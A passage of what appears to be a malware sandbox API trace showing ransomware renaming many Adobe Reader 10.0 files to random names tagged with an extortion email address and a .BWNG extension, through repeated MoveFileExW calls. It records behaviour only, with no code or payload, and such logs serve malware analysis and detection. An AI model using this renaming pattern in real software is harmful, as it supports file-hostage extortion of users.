(x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp_cze\\[billwong73@yahoo.com].wwbzjxns-egixi99c.bwng"), dwFlags=0x1) returned 1 [0101.294] GetTickCount () returned 0x11610b4 [0101.294] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=24324662548) returned 1 [0101.295] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\reader_sl.exe" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\reader_sl.exe"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\[billwong73@yahoo.com].SF7CxPzG-GSqAyXJk.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\[billwong73@yahoo.com].sf7cxpzg-gsqayxjk.bwng"), dwFlags=0x1) returned 1 [0101.296] GetTickCount () returned 0x11610b4 [0101.296] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=24324847694) returned 1 [0101.297] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP_HUN\\WindowsMedia.HUN" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp_hun\\windowsmedia.hun"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP_HUN\\[billwong73@yahoo.com].5wCdIgVm-KtNBVeRb.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp_hun\\[billwong73@yahoo.com].5wcdigvm-ktnbverb.bwng"), dwFlags=0x1) returned 1 [0101.298] GetTickCount () returned 0x11610b4 [0101.298] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=24324985923) returned 1 [0101.298] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\email_all.gif" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\tracker\\email_all.gif"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\[billwong73@yahoo.com].vUb89RMC-uxuPgJYl.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\tracker\\[billwong73@yahoo.com].vub89rmc-uxupgjyl.bwng"), dwFlags=0x1) returned 1 [0101.299] GetTickCount () returned 0x11610b4 [0101.299] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=24325164282) returned 1 [0101.300] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP_RUS\\MCIMPP.RUS" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp_rus\\mcimpp.rus"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP_RUS\\[billwong73@yahoo.com].mGDlzanK-4T5Rgapm.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp_rus\\[billwong73@yahoo.com].mgdlzank-4t5rgapm.bwng"), dwFlags=0x1) returned 1 [0101.301] GetTickCount () returned 0x11610b4 [0101.301] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=24325315127) returned 1 [0101.301] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\open_original_form.gif" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\tracker\\open_original_form.gif"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\[billwong73@yahoo.com].92UaqStk-bnKtx4pu.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\tracker\\[billwong73@yahoo.com].92uaqstk-bnktx4pu.bwng"), dwFlags=0x1) returned 1 [0101.302] GetTickCount () returned 0x11610b4 [0101.302] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=24325453521) returned 1 [0101.302] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\rss.gif" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\tracker\\rss.gif"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\[billwong73@yahoo.com].5TShsgoZ-AjQTA5xj.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\tracker\\[billwong73@yahoo.com].5tshsgoz-ajqta5xj.bwng"), dwFlags=0x1) returned 1 [0101.367] GetTickCount () returned 0x11610f2 [0101.367] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=24331946880) returned 1 [0101.368] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP_SLV\\WindowsMedia.SLV" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp_slv\\windowsmedia.slv"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP_SLV\\[billwong73@yahoo.com].8H8dRhmi-KrWmNcoJ.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp_slv\\[billwong73@yahoo.com].8h8drhmi-krwmncoj.bwng"), dwFlags=0x1) returned 1 [0101.369] GetTickCount () returned 0x11610f2 [0101.369] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=24332108218) returned 1 [0101.369] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\turnOffNotificationInTray.gif" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\tracker\\turnoffnotificationintray.gif"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\[billwong73@yahoo.com].T3OHgG3d-OcOmKVtj.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\tracker\\[billwong73@yahoo.com].t3ohgg3d-ocomkvtj.bwng"), dwFlags=0x1) returned 1 [0101.370] GetTickCount () returned 0x1161102 [0101.370] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=24332260752) returned 1 [0101.371] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\PDDom.api" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\pddom.api"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\[billwong73@yahoo.com].qGhhxaN5-F3Q09yal.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\[billwong73@yahoo.com].qghhxan5-f3q09yal.bwng"), dwFlags=0x1) returned 1 [0101.372] GetTickCount () returned 0x1161102 [0101.372] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=24332420405) returned 1 [0101.372] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMeHUN.htm" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\readmehun.htm"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\[billwong73@yahoo.com].28sQ0Jwm-cIb8z2un.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\[billwong73@yahoo.com].28sq0jwm-cib8z2un.bwng"), dwFlags=0x1) returned 1 [0101.378] GetTickCount () returned 0x1161102 [0101.378] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=24333004018) returned 1 [0101.378] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins3d\\2d.x3d" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins3d\\2d.x3d"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins3d\\[billwong73@yahoo.com].Jw1BF7AF-ht0aIQiZ.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins3d\\[billwong73@yahoo.com].jw1bf7af-ht0aiqiz.bwng"), dwFlags=0x1) returned 1 [0101.379] GetTickCount () returned 0x1161102 [0101.379] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=24333153477) returned 1 [0101.379] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\RTC.der" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\rtc.der"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\[billwong73@yahoo.com].Fj9HC22M-B7hQYvt5.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\[billwong73@yahoo.com].fj9hc22m-b7hqyvt5.bwng"), dwFlags=0x1) returned 1 [0101.381] GetTickCount () returned 0x1161102 [0101.381] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=24333296604) returned 1 [0101.381] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\email_initiator.gif" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\tracker\\email_initiator.gif"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\[billwong73@yahoo.com].NHiIgwrb-aO1TCzt7.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\tracker\\[billwong73@yahoo.com].nhiigwrb-ao1tczt7.bwng"), dwFlags=0x1) returned 1 [0101.382] GetTickCount () returned 0x1161102 [0101.382] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=24333429711) returned 1 [0101.382] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\pdf.gif" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\tracker\\pdf.gif"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\[billwong73@yahoo.com].BKIiwu3d-sMn3bW4Y.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\tracker\\[billwong73@yahoo.com].bkiiwu3d-smn3bw4y.bwng"), dwFlags=0x1) returned 1 [0101.383] GetTickCount () returned 0x1161102 [0101.384] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=24333575555) returned 1 [0101.384] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\server_issue.gif" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\tracker\\server_issue.gif"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\[billwong73@yahoo.com].1cmJC3BC-U8IuBkyA.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\tracker\\[billwong73@yahoo.com].1cmjc3bc-u8iubkya.bwng"), dwFlags=0x1) returned 1 [0101.460] GetTickCount () returned 0x1161150 [0101.460] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=24341299491) returned 1 [0101.461] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Services\\Services.cfg" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\services\\services.cfg"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Services\\[billwong73@yahoo.com].SH7OumHM-CAX0sB3k.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\services\\[billwong73@yahoo.com].sh7oumhm-cax0sb3k.bwng"), dwFlags=0x1) returned 1 [0101.561] GetTickCount () returned 0x11611bd [0101.561] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=24351321030) returned 1 [0101.561] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\end_review.gif" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\tracker\\end_review.gif"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\[billwong73@yahoo.com].CiB6XApi-uJfCpeL8.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\tracker\\[billwong73@yahoo.com].cib6xapi-ujfcpel8.bwng"), dwFlags=0x1) returned 1 [0101.563] GetTickCount () returned 0x11611bd [0101.563] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=24351495267) returned 1 [0101.563] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\reviews_joined.gif" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\tracker\\reviews_joined.gif"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\[billwong73@yahoo.com].5dfGLqob-wV3eH785.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\tracker\\[billwong73@yahoo.com].5dfglqob-wv3eh785.bwng"), dwFlags=0x1) returned 1 [0101.564] GetTickCount () returned 0x11611bd [0101.564] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=24351632073) returned 1 [0101.564] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\server_ok.gif" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\tracker\\server_ok.gif"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\[billwong73@yahoo.com].j9YXztyG-A3TNdcOe.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\tracker\\[billwong73@yahoo.com].j9yxztyg-a3tndcoe.bwng"), dwFlags=0x1) returned 1 [0101.565] GetTickCount () returned 0x11611bd [0101.565] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=24351766913) returned 1 [0101.566] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\warning.gif" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\tracker\\warning.gif"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\[billwong73@yahoo.com].dEJnCxlb-Ma2sisdU.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\tracker\\[billwong73@yahoo.com].dejncxlb-ma2sisdu.bwng"), dwFlags=0x1) returned 1 [0101.567] GetTickCount () returned 0x11611bd [0101.567] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=24351894805) returned 1 [0101.567] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMePOL.htm" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\readmepol.htm"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\[billwong73@yahoo.com].nArZkluv-Wkzql6kR.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\[billwong73@yahoo.com].narzkluv-wkzql6kr.bwng"), dwFlags=0x1) returned 1 [0101.569] GetTickCount () returned 0x11611bd [0101.569] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=24352076820) returned 1 [0101.569] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Updater.api" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\updater.api"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\[billwong73@yahoo.com].JQ3M4Tq8-uL9snd1k.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\[billwong73@yahoo.com].jq3m4tq8-ul9snd1k.bwng"), dwFlags=0x1) returned 1 [0101.570] GetTickCount () returned 0x11611bd [0101.570] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=24352219465) returned 1 [0101.570] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\pmd.cer" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\pmd.cer"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\[billwong73@yahoo.com].9u17yKEt-XzmSB6df.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\[billwong73@yahoo.com].9u17yket-xzmsb6df.bwng"), dwFlags=0x1) returned 1 [0101.571] GetTickCount () returned 0x11611bd [0101.571] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=24352340401) returned 1 [0101.571] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\distribute_form.gif" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\tracker\\distribute_form.gif"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\[billwong73@yahoo.com].imkUBdNN-KFx8EEfB.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\tracker\\[billwong73@yahoo.com].imkubdnn-kfx8eefb.bwng"), dwFlags=0x1) returned 1 [0101.573] GetTickCount () returned 0x11611cd [0101.573] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=24352511687) returned 1 [0101.573] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\main.css" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\tracker\\main.css"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\[billwong73@yahoo.com].R6KvcD9f-usLIccLs.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\tracker\\[billwong73@yahoo.com].r6kvcd9f-usliccls.bwng"), dwFlags=0x1) returned 1 [0101.574] GetTickCount () returned 0x11611cd [0101.574] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=24352641446) returned 1 [0101.574] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\review_shared.gif" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\tracker\\review_shared.gif"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\[billwong73@yahoo.com].hnIb0ztv-RQyQ0ALu.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\tracker\\[billwong73@yahoo.com].hnib0ztv-rqyq0alu.bwng"), dwFlags=0x1) returned 1 [0101.575] GetTickCount () returned 0x11611cd [0101.575] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=24352764835) returned 1 [0101.576] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\turnOffNotificationInAcrobat.gif" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\tracker\\turnoffnotificationinacrobat.gif"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\[billwong73@yahoo.com].m2wQ40T9-tdSePBnc.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\tracker\\[billwong73@yahoo.com].m2wq40t9-tdsepbnc.bwng"), dwFlags=0x1) returned 1 [0101.577] GetTickCount () returned 0x11611cd [0101.577] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=24352897533) returned 1 [0101.577] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMeHRV.htm" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\readmehrv.htm"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\[billwong73@yahoo.com].JlozdbS8-a5aTcMuy.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\[billwong73@yahoo.com].jlozdbs8-a5atcmuy.bwng"), dwFlags=0x1) returned 1 [0101.578] GetTickCount () returned 0x11611cd [0101.578] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=24353058028) returned 1 [0101.579] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\Providers\\Proximity\\11.00\\brt32.clx" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\providers\\proximity\\11.00\\brt32.clx"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\Providers\\Proximity\\11.00\\[billwong73@yahoo.com].LuaZdiR7-iVtz0g3e.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\providers\\proximity\\11.00\\[billwong73@yahoo.com].luazdir7-ivtz0g3e.bwng"), dwFlags=0x1) returned 1 [0101.580] GetTickCount () returned 0x11611cd [0101.580] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=24353255309) returned 1 [0101.581] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CIDFont\\AdobeGothicStd-Bold.otf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cidfont\\adobegothicstd-bold.otf"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CIDFont\\[billwong73@yahoo.com].eCQlH4iZ-4NlL5NCI.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cidfont\\[billwong73@yahoo.com].ecqlh4iz-4nll5nci.bwng"), dwFlags=0x1) returned 1 [0101.582] GetTickCount () returned 0x11611cd [0101.582] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=24353398778) returned 1 [0101.582] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\Providers\\Proximity\\11.00\\can.fca" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\providers\\proximity\\11.00\\can.fca"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\Providers\\Proximity\\11.00\\[billwong73@yahoo.com].aoLVUAMh-JuXaCk7t.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\providers\\proximity\\11.00\\[billwong73@yahoo.com].aolvuamh-juxack7t.bwng"), dwFlags=0x1) returned 1 [0101.583] GetTickCount () returned 0x11611cd [0101.583] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=24353528764) returned 1 [0101.583] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\Providers\\Proximity\\11.00\\ctl.fca" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\providers\\proximity\\11.00\\ctl.fca"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\Providers\\Proximity\\11.00\\[billwong73@yahoo.com].RZAV2LHq-jsvKzZAa.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\providers\\proximity\\11.00\\[billwong73@yahoo.com].rzav2lhq-jsvkzzaa.bwng"), dwFlags=0x1) returned 1 [0101.584] GetTickCount () returned 0x11611cd [0101.584] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=24353660077) returned 1 [0101.585] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\Providers\\Proximity\\11.00\\dan45.lex" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\providers\\proximity\\11.00\\dan45.lex"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\Providers\\Proximity\\11.00\\[billwong73@yahoo.com].Nv4lNKlh-D2SJNfai.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\providers\\proximity\\11.00\\[billwong73@yahoo.com].nv4lnklh-d2sjnfai.bwng"), dwFlags=0x1) returned 1 [0101.586] GetTickCount () returned 0x11611cd [0101.586] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=24353805461) returned 1 [0101.586] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\Providers\\Proximity\\11.00\\engphon.env" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\providers\\proximity\\11.00\\engphon.env"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\Providers\\Proximity\\11.00\\[billwong73@yahoo.com].ZT8ZrC6a-QSKTRJrn.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\providers\\proximity\\11.00\\[billwong73@yahoo.com].zt8zrc6a-qsktrjrn.bwng"), dwFlags=0x1) returned 1 [0101.587] GetTickCount () returned 0x11611cd [0101.587] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=24353952670) returned 1 [0101.587] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\Providers\\Proximity\\11.00\\frn.hyp" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\providers\\proximity\\11.00\\frn.hyp"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\Providers\\Proximity\\11.00\\[billwong73@yahoo.com].FIJ6GgMN-bqPmj8qQ.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\providers\\proximity\\11.00\\[billwong73@yahoo.com].fij6ggmn-bqpmj8qq.bwng"), dwFlags=0x1) returned 1 [0101.589] GetTickCount () returned 0x11611dc [0101.589] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=24354304161) returned 1 [0101.591] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\Providers\\Proximity\\11.00\\grm104.hsp" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\providers\\proximity\\11.00\\grm104.hsp"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\Providers\\Proximity\\11.00\\[billwong73@yahoo.com].Vb8s1nY2-Iq10aEgU.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\providers\\proximity\\11.00\\[billwong73@yahoo.com].vb8s1ny2-iq10aegu.bwng"), dwFlags=0x1) returned 1 [0101.592] GetTickCount () returned 0x11611dc [0101.592] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=24354455554) returned 1 [0101.593] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\Providers\\Proximity\\11.00\\hrvphon.env" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\providers\\proximity\\11.00\\hrvphon.env"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\Providers\\Proximity\\11.00\\[billwong73@yahoo.com].eQuKdaq3-hUutPm0k.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\providers\\proximity\\11.00\\[billwong73@yahoo.com].equkdaq3-huutpm0k.bwng"), dwFlags=0x1) returned 1 [0101.662] GetTickCount () returned 0x116121b [0101.662] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: 